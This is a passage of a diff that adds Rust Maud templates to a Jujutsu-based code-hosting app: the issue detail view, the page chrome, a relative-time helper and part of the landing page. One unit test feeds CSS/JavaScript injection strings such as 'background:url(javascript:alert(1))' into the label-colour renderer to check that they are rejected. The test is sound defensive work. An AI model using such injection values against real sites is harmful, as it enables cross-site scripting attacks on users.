| 172 | + | pub labels: &'a [Label], | |
| 173 | + | pub all_labels: &'a [Label], | |
| 174 | + | pub assignees: &'a [String], | |
| 175 | + | pub comments: &'a [CommentRow], | |
| 176 | + | /// Changes and issues that reference this one. | |
| 177 | + | pub referenced_by: &'a [(String, i64, String)], | |
| 178 | + | pub can_comment: bool, | |
| 179 | + | pub can_manage: bool, | |
| 180 | + | pub csrf: &'a str, | |
| 181 | + | } | |
| 182 | + | ||
| 183 | + | pub fn detail(ctx: &RepoContext, d: Detail<'_>) -> Markup { | |
| 184 | + | let base = format!("{}/issues/{}", ctx.base(), d.number); | |
| 185 | + | ||
| 186 | + | html! { | |
| 187 | + | div .panel { | |
| 188 | + | div .row { | |
| 189 | + | @if d.state == "closed" { | |
| 190 | + | span .badge.badge-merged { "closed" } | |
| 191 | + | } @else { | |
| 192 | + | span .badge.badge-open { "open" } | |
| 193 | + | } | |
| 194 | + | h1 style="margin:0" { (d.title) } | |
| 195 | + | } | |
| 196 | + | div .row style="margin-top:8px;gap:10px" { | |
| 197 | + | span .faint { "#" (d.number) } | |
| 198 | + | @if let Some(a) = d.author { span .faint { "opened by " (a) } } | |
| 199 | + | span .faint { (d.created_at.format("%Y-%m-%d").to_string()) } | |
| 200 | + | @for l in d.labels { (label_chip(l)) } | |
| 201 | + | } | |
| 202 | + | ||
| 203 | + | @if !d.assignees.is_empty() { | |
| 204 | + | p .dim style="margin-top:8px" { "Assigned to " (d.assignees.join(", ")) } | |
| 205 | + | } | |
| 206 | + | ||
| 207 | + | @if !d.body_html.is_empty() { | |
| 208 | + | div .markdown-body style="margin-top:16px" { (PreEscaped(d.body_html)) } | |
| 209 | + | } | |
| 210 | + | } | |
| 211 | + | ||
| 212 | + | @if !d.referenced_by.is_empty() { | |
| 213 | + | div .panel { | |
| 214 | + | h2 { "Referenced by" } | |
| 215 | + | div .stack style="gap:6px" { | |
| 216 | + | @for (kind, number, title) in d.referenced_by { | |
| 217 | + | div .row { | |
| 218 | + | span .faint { (kind) } | |
| 219 | + | a href=(format!("{}/{}s/{number}", ctx.base(), kind)) { | |
| 220 | + | "#" (number) " · " (title) | |
| 221 | + | } | |
| 222 | + | } | |
| 223 | + | } | |
| 224 | + | } | |
| 225 | + | } | |
| 226 | + | } | |
| 227 | + | ||
| 228 | + | @if d.can_manage { | |
| 229 | + | div .panel { | |
| 230 | + | h2 { "Manage" } | |
| 231 | + | ||
| 232 | + | form method="post" action=(format!("{base}/labels")) .stack { | |
| 233 | + | input type="hidden" name="_csrf" value=(d.csrf); | |
| 234 | + | fieldset style="border:none;padding:0;margin:0" { | |
| 235 | + | legend .label-condensed { "Labels" } | |
| 236 | + | div .row style="flex-wrap:wrap;gap:12px" { | |
| 237 | + | @for l in d.all_labels { | |
| 238 | + | label { | |
| 239 | + | input type="checkbox" name="labels" value=(l.name) | |
| 240 | + | checked[d.labels.iter().any(|x| x.name == l.name)]; | |
| 241 | + | " " (l.name) | |
| 242 | + | } | |
| 243 | + | } | |
| 244 | + | } | |
| 245 | + | } | |
| 246 | + | button .btn type="submit" { "Save labels" } | |
| 247 | + | } | |
| 248 | + | ||
| 249 | + | form method="post" action=(format!("{base}/assignees")) .stack style="margin-top:16px" { | |
| 250 | + | input type="hidden" name="_csrf" value=(d.csrf); | |
| 251 | + | div .field { | |
| 252 | + | label for="assignees" { "Assignees" } | |
| 253 | + | input type="text" id="assignees" name="assignees" | |
| 254 | + | value=(d.assignees.join(", ")) | |
| 255 | + | placeholder="handles, comma separated"; | |
| 256 | + | } | |
| 257 | + | button .btn type="submit" { "Save assignees" } | |
| 258 | + | } | |
| 259 | + | } | |
| 260 | + | } | |
| 261 | + | ||
| 262 | + | div .panel { | |
| 263 | + | h2 { "Discussion" } | |
| 264 | + | @if d.comments.is_empty() { | |
| 265 | + | p .hint { "No comments yet." } | |
| 266 | + | } | |
| 267 | + | div .stack { | |
| 268 | + | @for c in d.comments { (issue_comment(c)) } | |
| 269 | + | } | |
| 270 | + | ||
| 271 | + | @if d.can_comment { | |
| 272 | + | form method="post" action=(format!("{base}/comments")) .stack style="margin-top:20px" { | |
| 273 | + | input type="hidden" name="_csrf" value=(d.csrf); | |
| 274 | + | div .field { | |
| 275 | + | label for="body" { "Comment" } | |
| 276 | + | textarea id="body" name="body" rows="4" required {} | |
| 277 | + | } | |
| 278 | + | div .row { | |
| 279 | + | button .btn.btn-primary type="submit" { "Comment" } | |
| 280 | + | @if d.can_manage { | |
| 281 | + | button .btn type="submit" name="state" | |
| 282 | + | value=(if d.state == "closed" { "open" } else { "closed" }) { | |
| 283 | + | @if d.state == "closed" { "Comment and reopen" } @else { "Comment and close" } | |
| 284 | + | } | |
| 285 | + | } | |
| 286 | + | } | |
| 287 | + | } | |
| 288 | + | } @else { | |
| 289 | + | p .hint { "Sign in to comment." } | |
| 290 | + | } | |
| 291 | + | ||
| 292 | + | @if d.can_manage { | |
| 293 | + | form method="post" action=(format!("{base}/state")) style="margin-top:12px" { | |
| 294 | + | input type="hidden" name="_csrf" value=(d.csrf); | |
| 295 | + | input type="hidden" name="state" | |
| 296 | + | value=(if d.state == "closed" { "open" } else { "closed" }); | |
| 297 | + | button .btn type="submit" { | |
| 298 | + | @if d.state == "closed" { "Reopen issue" } @else { "Close issue" } | |
| 299 | + | } | |
| 300 | + | } | |
| 301 | + | } | |
| 302 | + | } | |
| 303 | + | } | |
| 304 | + | } | |
| 305 | + | ||
| 306 | + | fn issue_comment(c: &CommentRow) -> Markup { | |
| 307 | + | html! { | |
| 308 | + | div .comment { | |
| 309 | + | div .row { | |
| 310 | + | strong { (c.author) } | |
| 311 | + | span .faint { (c.created_at.format("%Y-%m-%d %H:%M").to_string()) } | |
| 312 | + | @if c.edited { span .faint { "edited" } } | |
| 313 | + | } | |
| 314 | + | div .comment-body.markdown-body { (PreEscaped(&c.body_html)) } | |
| 315 | + | } | |
| 316 | + | } | |
| 317 | + | } | |
| 318 | + | ||
| 319 | + | #[cfg(test)] | |
| 320 | + | mod tests { | |
| 321 | + | use super::*; | |
| 322 | + | ||
| 323 | + | fn label(color: &str) -> Label { | |
| 324 | + | Label { name: "bug".into(), color: color.into() } | |
| 325 | + | } | |
| 326 | + | ||
| 327 | + | #[test] | |
| 328 | + | fn a_valid_colour_reaches_the_style_attribute() { | |
| 329 | + | let m = label_chip(&label("#d06b6b")).into_string(); | |
| 330 | + | assert!(m.contains("border-color:#d06b6b"), "{m}"); | |
| 331 | + | } | |
| 332 | + | ||
| 333 | + | /// A label colour is the one repository-controlled value that reaches a | |
| 334 | + | /// `style` attribute. Anything that is not a hex triple must be dropped, | |
| 335 | + | /// not escaped and emitted. | |
| 336 | + | #[test] | |
| 337 | + | fn label_chip_rejects_a_non_colour() { | |
| 338 | + | for bad in [ | |
| 339 | + | "red; background:url(javascript:alert(1))", | |
| 340 | + | "#zzzzzz", | |
| 341 | + | "#fff", | |
| 342 | + | "", | |
| 343 | + | "expression(alert(1))", | |
| 344 | + | ] { | |
| 345 | + | let m = label_chip(&label(bad)).into_string(); | |
| 346 | + | assert!(!m.contains("style="), "{bad} reached a style attribute: {m}"); | |
| 347 | + | assert!(m.contains("bug"), "the label name must still render"); | |
| 348 | + | } | |
| 349 | + | } | |
| 350 | + | ||
| 351 | + | #[test] | |
| 352 | + | fn hex_validation_is_exact() { | |
| 353 | + | assert!(valid_hex("#000000")); | |
| 354 | + | assert!(valid_hex("#AbCdEf")); | |
| 355 | + | assert!(!valid_hex("#abc")); | |
| 356 | + | assert!(!valid_hex("000000")); | |
| 357 | + | assert!(!valid_hex("#0000000")); | |
| 358 | + | } | |
| 359 | + | } | |
Acrates/df-web/src/views/layout.rs+190−0
| @@ −0,0 +1,190 @@ | |||
| 1 | + | //! Page chrome. | |
| 2 | + | //! | |
| 3 | + | //! Every page renders standalone, with no JavaScript required (spec §7: | |
| 4 | + | //! "Progressive enhancement is a hard requirement"). htmx is loaded for | |
| 5 | + | //! enhancement only — nothing here depends on it running. | |
| 6 | + | ||
| 7 | + | use maud::{html, Markup, DOCTYPE}; | |
| 8 | + | ||
| 9 | + | use df_db::models::User; | |
| 10 | + | ||
| 11 | + | /// Per-request context the chrome needs. | |
| 12 | + | pub struct Chrome<'a> { | |
| 13 | + | pub title: &'a str, | |
| 14 | + | pub user: Option<&'a User>, | |
| 15 | + | /// CSRF token, attached to the body so htmx sends it on every non-GET. | |
| 16 | + | pub csrf: &'a str, | |
| 17 | + | /// Nonce for the one inline script. The CSP forbids `unsafe-inline` | |
| 18 | + | /// (spec §9), so the nonce is what allows it. | |
| 19 | + | pub nonce: &'a str, | |
| 20 | + | } | |
| 21 | + | ||
| 22 | + | /// The wordmark: a vermilion triangle with the page ground knocked out of it, | |
| 23 | + | /// beside the name. | |
| 24 | + | /// | |
| 25 | + | /// The glyph is decorative — "Dogfood" beside it is the accessible name — so it | |
| 26 | + | /// is hidden from assistive technology rather than announced as a shape. The | |
| 27 | + | /// inner cutout is filled with `var(--bg)` rather than a fixed colour so the | |
| 28 | + | /// mark stays correct in both themes. | |
| 29 | + | fn brand(href: &str) -> Markup { | |
| 30 | + | html! { | |
| 31 | + | a .brand href=(href) { | |
| 32 | + | svg .brand-mark width="16" height="16" viewBox="0 0 16 16" aria-hidden="true" { | |
| 33 | + | path d="M8 1 15 14H1L8 1Z" fill="currentColor" {} | |
| 34 | + | path d="M8 6 11.5 12h-7L8 6Z" fill="var(--bg)" {} | |
| 35 | + | } | |
| 36 | + | span { "Dogfood" } | |
| 37 | + | } | |
| 38 | + | } | |
| 39 | + | } | |
| 40 | + | ||
| 41 | + | /// Wrap page content in the site chrome. | |
| 42 | + | pub fn page(chrome: Chrome<'_>, content: Markup) -> Markup { | |
| 43 | + | html! { | |
| 44 | + | (DOCTYPE) | |
| 45 | + | html lang="en" { | |
| 46 | + | head { | |
| 47 | + | meta charset="utf-8"; | |
| 48 | + | meta name="viewport" content="width=device-width, initial-scale=1"; | |
| 49 | + | title { (chrome.title) " · Dogfood" } | |
| 50 | + | link rel="stylesheet" href="/assets/app.css"; | |
| 51 | + | meta name="color-scheme" content="dark light"; | |
| 52 | + | meta name="theme-color" media="(prefers-color-scheme: light)" content="#f4f1ea"; | |
| 53 | + | meta name="theme-color" media="(prefers-color-scheme: dark)" content="#12100e"; | |
| 54 | + | // Blocking (no `defer`) and first, so a stored "light" | |
| 55 | + | // preference lands before the default dark theme paints. | |
| 56 | + | script src="/assets/theme-init.js" nonce=(chrome.nonce) {} | |
| 57 | + | } | |
| 58 | + | body .grid-field | |
| 59 | + | hx-headers=(format!(r#"{{"x-csrf-token": "{}"}}"#, chrome.csrf)) | |
| 60 | + | { | |
| 61 | + | // The first focusable thing on the page, visible only when | |
| 62 | + | // focused. Without it a keyboard user tabs through the whole | |
| 63 | + | // masthead on every page before reaching the content. | |
| 64 | + | a .skip-link href="#main" { "Skip to content" } | |
| 65 | + | ||
| 66 | + | header .masthead { | |
| 67 | + | // The brand rule. Decorative, and the only full-bleed use | |
| 68 | + | // of the accent in the chrome. | |
| 69 | + | span .masthead-rule aria-hidden="true" {} | |
| 70 | + | div .masthead-inner { | |
| 71 | + | (brand("/")) | |
| 72 | + | // A plain GET form, so search works with scripting | |
| 73 | + | // disabled like everything else (spec §7). | |
| 74 | + | form .masthead-search method="get" action="/search" role="search" { | |
| 75 | + | input type="search" name="q" placeholder="Search" | |
| 76 | + | aria-label="Search repositories, changes and issues"; | |
| 77 | + | } | |
| 78 | + | // JS-only: there is no server-side notion of theme to | |
| 79 | + | // toggle without it, so it starts hidden and theme.js | |
| 80 | + | // reveals it. The site's default dark theme is what | |
| 81 | + | // every visitor without scripting sees. | |
| 82 | + | button .btn.theme-toggle type="button" data-theme-toggle | |
| 83 | + | hidden aria-label="Switch between dark and light theme" { | |
| 84 | + | svg .icon-sun width="16" height="16" viewBox="0 0 16 16" | |
| 85 | + | fill="none" stroke="currentColor" stroke-width="1.5" | |
| 86 | + | aria-hidden="true" { | |
| 87 | + | circle cx="8" cy="8" r="3.25" {} | |
| 88 | + | path d="M8 1.2v1.8M8 13v1.8M2.6 8H1M15 8h-1.6M3.6 3.6l1.3 1.3M11.1 11.1l1.3 1.3M12.4 3.6l-1.3 1.3M4.9 11.1l-1.3 1.3" stroke-linecap="round" {} | |
| 89 | + | } | |
| 90 | + | svg .icon-moon width="16" height="16" viewBox="0 0 16 16" | |
| 91 | + | fill="currentColor" aria-hidden="true" { | |
| 92 | + | path d="M13.8 10.2A6 6 0 0 1 5.8 2.2a6.3 6.3 0 1 0 8 8Z" {} | |
| 93 | + | } | |
| 94 | + | } | |
| 95 | + | nav aria-label="Account" { | |
| 96 | + | @if let Some(u) = chrome.user { | |
| 97 | + | a href="/new" { "New repository" } | |
| 98 | + | a href="/orgs/new" { "New organization" } | |
| 99 | + | a href="/settings" { (u.handle) } | |
| 100 | + | form method="post" action="/logout" style="display:inline" { | |
| 101 | + | input type="hidden" name="_csrf" value=(chrome.csrf); | |
| 102 | + | button .btn.btn-quiet-danger type="submit" { "Sign out" } | |
| 103 | + | } | |
| 104 | + | } @else { | |
| 105 | + | a .btn href="/login" { "Sign in" } | |
| 106 | + | a .btn.btn-primary href="/login" { "Start free" } | |
| 107 | + | } | |
| 108 | + | } | |
| 109 | + | } | |
| 110 | + | } | |
| 111 | + | ||
| 112 | + | // `tabindex="-1"` so the skip link can move focus here, not | |
| 113 | + | // just scroll to it — without it the next Tab press would go | |
| 114 | + | // back to the top of the page. | |
| 115 | + | main id="main" tabindex="-1" { | |
| 116 | + | div .wrap { | |
| 117 | + | (content) | |
| 118 | + | } | |
| 119 | + | } | |
| 120 | + | ||
| 121 | + | footer { | |
| 122 | + | div .wrap { | |
| 123 | + | span .footer-mark { "Dogfood" } | |
| 124 | + | span { "code hosting built on Jujutsu" } | |
| 125 | + | a href="https://github.com/jj-vcs/jj" { "jj" } | |
| 126 | + | // A component sheet nobody can find does not get kept | |
| 127 | + | // up to date, so it gets a real link. | |
| 128 | + | a href="/design" { "Design" } | |
| 129 | + | span .footer-end .mono { "© 2026" } | |
| 130 | + | } | |
| 131 | + | } | |
| 132 | + | ||
| 133 | + | // htmx is progressive enhancement only. If it fails to load, | |
| 134 | + | // every link and form still works as plain HTML. | |
| 135 | + | script src="/assets/htmx.min.js" nonce=(chrome.nonce) defer {} | |
| 136 | + | script src="/assets/theme.js" nonce=(chrome.nonce) defer {} | |
| 137 | + | } | |
| 138 | + | } | |
| 139 | + | } | |
| 140 | + | } | |
| 141 | + | ||
| 142 | + | /// A minimal error page rendered without request context. | |
| 143 | + | /// | |
| 144 | + | /// Used by the error type, which runs after extractors and so cannot rely on | |
| 145 | + | /// the session or CSRF token being available. | |
| 146 | + | pub fn bare_error(status: axum::http::StatusCode, message: &str) -> Markup { | |
| 147 | + | html! { | |
| 148 | + | (DOCTYPE) | |
| 149 | + | html lang="en" { | |
| 150 | + | head { | |
| 151 | + | meta charset="utf-8"; | |
| 152 | + | meta name="viewport" content="width=device-width, initial-scale=1"; | |
| 153 | + | title { (status.as_u16()) " · Dogfood" } | |
| 154 | + | link rel="stylesheet" href="/assets/app.css"; | |
| 155 | + | } | |
| 156 | + | body .grid-field { | |
| 157 | + | a .skip-link href="#main" { "Skip to content" } | |
| 158 | + | header .masthead { | |
| 159 | + | span .masthead-rule aria-hidden="true" {} | |
| 160 | + | div .masthead-inner { | |
| 161 | + | (brand("/")) | |
| 162 | + | } | |
| 163 | + | } | |
| 164 | + | main id="main" tabindex="-1" { | |
| 165 | + | div .wrap { | |
| 166 | + | div .panel { | |
| 167 | + | h1 { (status.as_u16()) " " (status.canonical_reason().unwrap_or("Error")) } | |
| 168 | + | p .dim { (message) } | |
| 169 | + | p { a href="/" { "Back to the dashboard" } } | |
| 170 | + | } | |
| 171 | + | } | |
| 172 | + | } | |
| 173 | + | } | |
| 174 | + | } | |
| 175 | + | } | |
| 176 | + | } | |
| 177 | + | ||
| 178 | + | /// A standalone error page. | |
| 179 | + | pub fn error_page(chrome: Chrome<'_>, heading: &str, detail: &str) -> Markup { | |
| 180 | + | page( | |
| 181 | + | chrome, | |
| 182 | + | html! { | |
| 183 | + | div .panel { | |
| 184 | + | h1 { (heading) } | |
| 185 | + | p .dim { (detail) } | |
| 186 | + | p { a href="/" { "Back to the dashboard" } } | |
| 187 | + | } | |
| 188 | + | }, | |
| 189 | + | ) | |
| 190 | + | } | |
Acrates/df-web/src/views/mod.rs+80−0
| @@ −0,0 +1,80 @@ | |||
| 1 | + | //! Maud templates. | |
| 2 | + | //! | |
| 3 | + | //! Every fragment that htmx can swap is also a function that renders | |
| 4 | + | //! standalone, so each URL works without JavaScript (spec §7). | |
| 5 | + | ||
| 6 | + | pub mod change; | |
| 7 | + | pub mod design; | |
| 8 | + | pub mod edit; | |
| 9 | + | pub mod issue; | |
| 10 | + | pub mod layout; | |
| 11 | + | pub mod pages; | |
| 12 | + | pub mod repo; | |
| 13 | + | pub mod review; | |
| 14 | + | pub mod settings; | |
| 15 | + | ||
| 16 | + | pub use layout::{error_page, page, Chrome}; | |
| 17 | + | ||
| 18 | + | use chrono::{DateTime, Utc}; | |
| 19 | + | ||
| 20 | + | /// A short, coarse "how long ago" label. | |
| 21 | + | /// | |
| 22 | + | /// Feeds and file listings in the design are scanned, not read — a reader wants | |
| 23 | + | /// to know whether something is fresh, not the minute it landed. Coarse buckets | |
| 24 | + | /// say that faster than a timestamp does, so the exact time goes in a `title` | |
| 25 | + | /// attribute at the call site for anyone who needs it. | |
| 26 | + | /// | |
| 27 | + | /// Deliberately has no "just now" case below a minute: a feed row that says | |
| 28 | + | /// "0m" reads as broken, and one that says "just now" goes stale the moment the | |
| 29 | + | /// page is cached. | |
| 30 | + | pub fn relative_time(then: DateTime<Utc>, now: DateTime<Utc>) -> String { | |
| 31 | + | let secs = (now - then).num_seconds(); | |
| 32 | + | ||
| 33 | + | // A clock skew between the app and the database should not render as a | |
| 34 | + | // date in the future. | |
| 35 | + | if secs <= 0 { | |
| 36 | + | return "now".into(); | |
| 37 | + | } | |
| 38 | + | ||
| 39 | + | const MINUTE: i64 = 60; | |
| 40 | + | const HOUR: i64 = 60 * MINUTE; | |
| 41 | + | const DAY: i64 = 24 * HOUR; | |
| 42 | + | const MONTH: i64 = 30 * DAY; | |
| 43 | + | const YEAR: i64 = 365 * DAY; | |
| 44 | + | ||
| 45 | + | match secs { | |
| 46 | + | s if s < MINUTE => "now".into(), | |
| 47 | + | s if s < HOUR => format!("{}m", s / MINUTE), | |
| 48 | + | s if s < DAY => format!("{}h", s / HOUR), | |
| 49 | + | s if s < MONTH => format!("{}d", s / DAY), | |
| 50 | + | s if s < YEAR => format!("{}mo", s / MONTH), | |
| 51 | + | s => format!("{}y", s / YEAR), | |
| 52 | + | } | |
| 53 | + | } | |
| 54 | + | ||
| 55 | + | #[cfg(test)] | |
| 56 | + | mod relative_time_tests { | |
| 57 | + | use super::relative_time; | |
| 58 | + | use chrono::{Duration, Utc}; | |
| 59 | + | ||
| 60 | + | #[test] | |
| 61 | + | fn buckets_read_as_labels() { | |
| 62 | + | let now = Utc::now(); | |
| 63 | + | let ago = |d: Duration| relative_time(now - d, now); | |
| 64 | + | ||
| 65 | + | assert_eq!(ago(Duration::seconds(5)), "now"); | |
| 66 | + | assert_eq!(ago(Duration::minutes(3)), "3m"); | |
| 67 | + | assert_eq!(ago(Duration::hours(5)), "5h"); | |
| 68 | + | assert_eq!(ago(Duration::days(9)), "9d"); | |
| 69 | + | assert_eq!(ago(Duration::days(70)), "2mo"); | |
| 70 | + | assert_eq!(ago(Duration::days(800)), "2y"); | |
| 71 | + | } | |
| 72 | + | ||
| 73 | + | /// A row timestamped slightly in the future is a clock skew, not a | |
| 74 | + | /// scheduled post — it must not render as one. | |
| 75 | + | #[test] | |
| 76 | + | fn a_future_timestamp_does_not_render_as_negative() { | |
| 77 | + | let now = Utc::now(); | |
| 78 | + | assert_eq!(relative_time(now + Duration::hours(3), now), "now"); | |
| 79 | + | } | |
| 80 | + | } | |
Acrates/df-web/src/views/pages.rs529 lines+529−0
| @@ −0,0 +1,529 @@ | |||
| 1 | + | //! Page bodies for the M0 surface. | |
| 2 | + | ||
| 3 | + | use chrono::{DateTime, Utc}; | |
| 4 | + | use maud::{html, Markup}; | |
| 5 | + | ||
| 6 | + | use df_db::models::User; | |
| 7 | + | ||
| 8 | + | use crate::views::change::change_chip; | |
| 9 | + | use crate::views::relative_time; | |
| 10 | + | use crate::views::repo::avatar; | |
| 11 | + | ||
| 12 | + | /// One row of the public "shipping right now" feed. | |
| 13 | + | pub struct FeedItem { | |
| 14 | + | pub owner: String, | |
| 15 | + | pub repo: String, | |
| 16 | + | pub number: i64, | |
| 17 | + | pub change_id: String, | |
| 18 | + | pub synthetic: bool, | |
| 19 | + | pub title: String, | |
| 20 | + | /// `None` for a change pushed by somebody with no Dogfood account — the | |
| 21 | + | /// indexer records those, and dropping the row would misrepresent activity. | |
| 22 | + | pub author: Option<String>, | |
| 23 | + | pub when: DateTime<Utc>, | |
| 24 | + | } | |
| 25 | + | ||
| 26 | + | /// The pitch, stated as a diff. Deliberately not configurable: it is copy. | |
| 27 | + | const COMPARISONS: &[(&str, &str)] = &[ | |
| 28 | + | ("detached HEAD, lost work", "every state is recoverable"), | |
| 29 | + | ("rebase hell across a stack", "stacks rebase themselves"), | |
| 30 | + | ("merge conflicts block you", "conflicts are just a state"), | |
| 31 | + | ("force-push rewrites history", "stable ids survive rewrites"), | |
| 32 | + | ]; | |
| 33 | + | ||
| 34 | + | const TICKER: &[&str] = &[ | |
| 35 | + | "changes, not commits", | |
| 36 | + | "conflicts are first-class", | |
| 37 | + | "stacks that actually stack", | |
| 38 | + | "stable change ids", | |
| 39 | + | "undo anything", | |
| 40 | + | "no staging area", | |
| 41 | + | ]; | |
| 42 | + | ||
| 43 | + | /// Landing page for signed-out visitors. | |
| 44 | + | pub fn landing(clone_hint: &str, feed: &[FeedItem], repos: &[RepoSummary]) -> Markup { | |
| 45 | + | let now = Utc::now(); | |
| 46 | + | ||
| 47 | + | html! { | |
| 48 | + | section .hero.brand-glow aria-labelledby="hero-h" { | |
| 49 | + | div .hero-body { | |
| 50 | + | div .hero-eyebrow { | |
| 51 | + | span .pill-brand { "beta" } | |
| 52 | + | span .label-condensed { "version control, evolved" } | |
| 53 | + | } | |
| 54 | + | h1 #hero-h .display.hero-title { | |
| 55 | + | "Ship code in " span .mark { "changes" } ", not commits." | |
| 56 | + | } | |
| 57 | + | p .hero-lede { | |
| 58 | + | "Dogfood is code hosting built on " | |
| 59 | + | a href="https://github.com/jj-vcs/jj" { "Jujutsu" } | |
| 60 | + | ". Every change keeps a stable id through every rebase, conflicts \ | |
| 61 | + | are recorded instead of blocking you, and stacks stay coherent \ | |
| 62 | + | from first push to merge." | |
| 63 | + | } | |
| 64 | + | div .hero-actions { | |
| 65 | + | a .btn.btn-primary.btn-lg href="/login" { "Start for free" } | |
| 66 | + | @if let Some(r) = repos.first() { | |
| 67 | + | a .btn.btn-lg href=(format!("/{}/{}", r.owner, r.name)) { | |
| 68 | + | "Explore a live repo" | |
| 69 | + | } | |
| 70 | + | } | |
| 71 | + | } | |
| 72 | + | div .clone-box { | |
| 73 | + | code { (clone_hint) } | |
| 74 | + | } | |
| 75 | + | } | |
| 76 | + | // Decorative marquee of taglines. Static text, not a marquee | |
| 77 | + | // element — it wraps rather than scrolling, so nothing moves for a | |
| 78 | + | // reader who did not ask for motion. | |
| 79 | + | div .ticker-rule.ticker { | |
| 80 | + | @for t in TICKER { | |
| 81 | + | span .ticker-item { | |
| 82 | + | span .ticker-dot aria-hidden="true" { "◆" } | |
| 83 | + | (t) | |
| 84 | + | } | |
| 85 | + | } | |
| 86 | + | } | |
| 87 | + | } | |
| 88 | + | ||
| 89 | + | div .landing-columns { | |
| 90 | + | section .landing-main aria-labelledby="feed-h" { | |
| 91 | + | div .section-head { | |
| 92 | + | h2 #feed-h .label-condensed.slash { "shipping right now" } | |
| 93 | + | span .faint.mono.live-indicator { | |
| 94 | + | span .live-dot aria-hidden="true" {} | |
| 95 | + | "live" | |
| 96 | + | } | |
| 97 | + | } | |
| 98 | + | p .dim.section-note { | |
| 99 | + | "Public changes people are pushing across Dogfood repositories." | |
| 100 | + | } | |
| 101 | + | @if feed.is_empty() { | |
| 102 | + | div .empty { | |
| 103 | + | h2 { "Nothing public yet" } | |
| 104 | + | p { "Changes pushed to public repositories will show up here." } | |
| 105 | + | } | |
| 106 | + | } @else { | |
| 107 | + | ul .feed { | |
| 108 | + | @for item in feed { | |
| 109 | + | (feed_row(item, now)) | |
| 110 | + | } | |
| 111 | + | } | |
| 112 | + | } | |
| 113 | + | } | |
| 114 | + | ||
| 115 | + | aside .landing-aside { | |
| 116 | + | section aria-labelledby="why-h" { | |
| 117 | + | h2 #why-h .label-condensed.slash { "why switch" } | |
| 118 | + | ul .compare { | |
| 119 | + | @for (them, us) in COMPARISONS { | |
| 120 | + | li .compare-item { | |
| 121 | + | span .compare-them { | |
| 122 | + | span .compare-sign aria-hidden="true" { "−" } | |
| 123 | + | (them) | |
| 124 | + | } | |
| 125 | + | span .compare-us { | |
| 126 | + | span .compare-sign aria-hidden="true" { "+" } | |
| 127 | + | (us) | |
| 128 | + | } | |
| 129 | + | } | |
| 130 | + | } | |
| 131 | + | } | |
| 132 | + | } | |
| 133 | + | ||
| 134 | + | @if !repos.is_empty() { | |
| 135 | + | section aria-labelledby="repos-h" { | |
| 136 | + | h2 #repos-h .label-condensed.slash { "explore public repos" } | |
| 137 | + | div .repo-cards { | |
| 138 | + | @for r in repos { | |
| 139 | + | (repo_card(r)) | |
| 140 | + | } | |
| 141 | + | } | |
| 142 | + | } | |
| 143 | + | } | |
| 144 | + | } | |
| 145 | + | } | |
| 146 | + | ||
| 147 | + | section .cta-band.brand-glow aria-labelledby="cta-h" { | |
| 148 | + | h2 #cta-h .display.cta-title { "Stop fighting your version control." } | |
| 149 | + | p .cta-lede { | |
| 150 | + | "Bring your team to a forge that finally matches how you actually work." | |
| 151 | + | } | |
| 152 | + | div .hero-actions.cta-actions { | |
| 153 | + | a .btn.btn-primary.btn-lg href="/login" { "Start for free" } | |
| 154 | + | @if let Some(r) = repos.first() { | |
| 155 | + | a .btn.btn-lg href=(format!("/{}/{}", r.owner, r.name)) { | |
| 156 | + | "Browse a repo first" | |
| 157 | + | } | |
| 158 | + | } | |
| 159 | + | } | |
| 160 | + | } | |
| 161 | + | } | |
| 162 | + | } | |
| 163 | + | ||
| 164 | + | /// One feed row. | |
| 165 | + | /// | |
| 166 | + | /// The exact timestamp goes in `title` because the visible label is coarse on | |
| 167 | + | /// purpose — see `relative_time`. | |
| 168 | + | fn feed_row(item: &FeedItem, now: DateTime<Utc>) -> Markup { | |
| 169 | + | let href = format!("/{}/{}/changes/{}", item.owner, item.repo, item.number); | |
| 170 | + | ||
| 171 | + | html! { | |
| 172 | + | li .feed-row { | |
| 173 | + | (avatar(item.author.as_deref().unwrap_or("?"))) | |
| 174 | + | div .feed-main { | |
| 175 | + | a .feed-title href=(href) { (item.title) } | |
| 176 | + | div .feed-meta { | |
| 177 | + | @if let Some(a) = &item.author { | |
| 178 | + | span .feed-actor { (a) } | |
| 179 | + | } @else { | |
| 180 | + | span .feed-actor.faint { "someone" } | |
| 181 | + | } | |
| 182 | + | span .faint { "in" } | |
| 183 | + | a .mono href=(format!("/{}/{}", item.owner, item.repo)) { | |
| 184 | + | (item.owner) "/" (item.repo) | |
| 185 | + | } | |
| 186 | + | span .faint aria-hidden="true" { "·" } | |
| 187 | + | span .faint.tnum title=(item.when.format("%Y-%m-%d %H:%M UTC").to_string()) { | |
| 188 | + | (relative_time(item.when, now)) | |
| 189 | + | } | |
| 190 | + | } | |
| 191 | + | } | |
| 192 | + | div .feed-side { | |
| 193 | + | (change_chip(&item.change_id, item.synthetic)) | |
| 194 | + | } | |
| 195 | + | } | |
| 196 | + | } | |
| 197 | + | } | |
| 198 | + | ||
| 199 | + | fn repo_card(r: &RepoSummary) -> Markup { | |
| 200 | + | html! { | |
| 201 | + | a .repo-card href=(format!("/{}/{}", r.owner, r.name)) { | |
| 202 | + | span .repo-card-rail aria-hidden="true" {} | |
| 203 | + | span .repo-card-name { | |
| 204 | + | span .faint { (r.owner) "/" } | |
| 205 | + | span .repo-card-repo { (r.name) } | |
| 206 | + | @if r.private { | |
| 207 | + | span .chip { "private" } | |
| 208 | + | } | |
| 209 | + | } | |
| 210 | + | @if let Some(d) = &r.description { | |
| 211 | + | span .repo-card-desc { (d) } | |
| 212 | + | } | |
| 213 | + | } | |
| 214 | + | } | |
| 215 | + | } | |
| 216 | + | ||
| 217 | + | /// A change as it appears in a dashboard list. | |
| 218 | + | pub struct DashChange { | |
| 219 | + | pub owner: String, | |
| 220 | + | pub repo: String, | |
| 221 | + | pub number: i64, | |
| 222 | + | pub change_id: String, | |
| 223 | + | pub synthetic: bool, | |
| 224 | + | pub title: String, | |
| 225 | + | pub state: String, | |
| 226 | + | pub conflicted: bool, | |
| 227 | + | pub author: Option<String>, | |
| 228 | + | pub updated_at: DateTime<Utc>, | |
| 229 | + | } | |
| 230 | + | ||
| 231 | + | /// One row of the watched-activity feed. | |
| 232 | + | pub struct ActivityItem { | |
| 233 | + | pub owner: String, | |
| 234 | + | pub repo: String, | |
| 235 | + | pub actor: Option<String>, | |
| 236 | + | pub kind: String, | |
| 237 | + | /// The change this event was about, when it was about one. | |
| 238 | + | pub change_number: Option<i64>, | |
| 239 | + | pub change_title: Option<String>, | |
| 240 | + | pub when: DateTime<Utc>, | |
| 241 | + | } | |
| 242 | + | ||
| 243 | + | /// Everything the dashboard renders. | |
| 244 | + | pub struct Dashboard<'a> { | |
